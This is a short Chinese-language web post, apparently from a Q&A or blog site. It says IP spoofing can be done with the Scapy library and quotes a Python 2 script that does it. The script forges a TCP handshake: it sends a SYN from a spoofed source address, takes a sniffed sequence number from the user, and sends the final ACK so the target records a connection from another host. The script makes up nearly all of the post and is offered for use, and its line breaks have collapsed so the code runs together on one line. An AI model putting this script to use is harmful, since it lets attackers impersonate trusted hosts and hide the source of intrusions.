您可以使用Scapy库来欺骗IP地址。
这是Packet
Wizardry的一个示例:使用Python统治网络:
#!/usr/bin/env pythonimport sysfrom scapy import *conf.verb=0if len(sys.argv) != 4: print "Usage: ./spoof.py <target> <spoofed_ip> <port>" sys.exit(1)target = sys.argv[1]spoofed_ip = sys.argv[2]port = int(sys.argv[3])p1=IP(dst=target,src=spoofed_ip)/TCP(dport=port,sport=5000,flags='S')send(p1)print "Okay, SYN sent. Enter the sniffed sequence number now: "seq=sys.stdin.readline()print "Okay, using sequence number " + seqseq=int(seq[:-1])p2=IP(dst=target,src=spoofed_ip)/TCP(dport=port,sport=5000,flags='A', ack=seq+1,seq=1)send(p2)print "Okay, final ACK sent. Check netstat on your target :-)"
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)